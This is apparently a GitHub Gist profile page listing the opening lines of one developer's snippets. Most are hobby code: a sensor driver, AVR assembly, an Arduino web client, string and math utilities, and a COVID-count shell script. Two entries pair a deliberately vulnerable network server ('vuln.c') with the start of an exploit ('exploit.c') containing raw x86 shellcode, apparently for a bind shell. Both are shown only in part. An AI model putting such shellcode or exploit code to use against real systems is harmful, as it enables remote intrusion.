Sandro Kalatozishvili kala13x

Software engineer, open-source enthusiast, microelectronics lover, almost geek.

kala13x / HC–SR04.c

Last active December 17, 2015 18:19

Driver for Ultrasonic HC–SR04 Sensor.

	//#########################################################################
	//
	// This is free software driver for Ultrasonic HC–SR04 Sensor. software
	// is written for uniHack Vision Plus Team. Driver has two methods to
	// transmit information from sensor: Equalizer on board display and USART.
	//
	// Copyright (c) 2014 uniHack Vision Plus TeaM
	// Web: http://off-sec.com/ ; E-Mail: [email protected]
	//
	// This program is free software; you can redistribute it and/or modify

kala13x / Tones.asm

Last active December 17, 2015 18:29

AVR Assembly Code for BIGAVR6 Board. It's like piano. When you press a button on the board, code returns some tone.

	//;==========================================================
	;
	; Author: kala13x (a.k.a. 7th Ghost)
	; AVR Assembly.
	; Processor: ATMega128
	; Board: BIGAVR6
	;
	; Code works on BIGAVR6 board. It's like piano.
	; When you press a button on board, code returns some tone.
	;

kala13x / vuln.c

Last active August 29, 2015 14:12

	#include <stdio.h>
	#include <netdb.h>
	#include <netinet/in.h>

	#define BUFFER_SIZE 1024
	#define NAME_SIZE 2048

	int handling(int c)
	{
	char buffer[BUFFER_SIZE], name[NAME_SIZE];

kala13x / exploit.c

Created December 28, 2014 15:58

	#include <stdio.h>
	#include <netdb.h>
	#include <netinet/in.h>

	char shellcode[] =
	"\x89\xe5\x31\xd2\xb2\x66\x89\xd0\x31\xc9\x89\xcb\x43\x89\x5d\xf8"
	"\x43\x89\x5d\xf4\x4b\x89\x4d\xfc\x8d\x4d\xf4\xcd\x80\x31\xc9\x89"
	"\x45\xf4\x43\x66\x89\x5d\xec\x66\xc7\x45\xee\x0f\x27\x89\x4d\xf0"
	"\x8d\x45\xec\x89\x45\xf8\xc6\x45\xfc\x10\x89\xd0\x8d\x4d\xf4\xcd"
	"\x80\x89\xd0\x43\x43\xcd\x80\x89\xd0\x43\xcd\x80\x89\xc3\x31\xc9"

kala13x / webclient.ino

Last active March 4, 2019 06:33

WebClient example for Arduino HR911105A Ethernet Shield

	/* ============================================
	Desc: WebClient for arduino Ethernet Shield
	Date: 03.03.2015 - kala13x (a.k.a 7th Ghost)
	Site: http://off-sec.com/
	============================================ */

	#include <SPI.h>
	#include <Ethernet.h>

	// MAC address for controller

kala13x / quad-equatin.c

Created October 22, 2015 13:41

Simple app to solve quadratic equation

	/*
	* quad-equatin.c
	*
	* Copyleft (C) 2013 Sun Dro
	*
	* Simple app to solve quadratic equation
	*/

	#include <stdio.h>
	#include <stdlib.h>

kala13x / strtoken.c

Last active April 17, 2019 16:58

Thread safe alternative of the strtok() function


	/*
	* strtoken.c
	*
	* Copyleft (C) 2015 Sun Dro (a.k.a. kala13x)
	*
	* This source is thread safe alternative of the strtok().
	* See usage of the get_token() below at main() function.
	*/

kala13x / rrmdir.c

Created January 3, 2016 21:34

Recursively remove directory.

	/*
	* Recursively remove directory with the given path.
	*
	* Copyright (c) 2015 Sun Dro (a.k.a. 7th Ghost)
	* Web: http://off-sec.com/ ; E-Mail: [email protected]
	*
	* This is free software; you can redistribute it and/or
	* modify it under the terms of the GNU Lesser General Public
	* License as published by the Free Software Foundation; either
	* version 3 of the License, or (at your option) any later version.

kala13x / numbers.c

Last active April 26, 2018 22:37

	/*
	* numbers.c
	*
	* Copyleft (C) 2018 Sun Dro (a.k.a. kala13x)
	*
	* This is the CLI client for nomrebi.com web site.
	*/

	#include <stdio.h>
	#include <stdlib.h>

kala13x / statcov.sh

Created March 30, 2020 14:38

	#!/bin/bash
	intervalSec=10
	oldValue=0

	while [ true ]
	do
	newValue=$(curl https://stopcov.ge\|grep "დადასტურებული"\|cut -d ">" -f 3\|cut -d "<" -f 1)
	if [ $oldValue != $newValue ]
	then
	notify-send "Cases in Georgia:" $newValue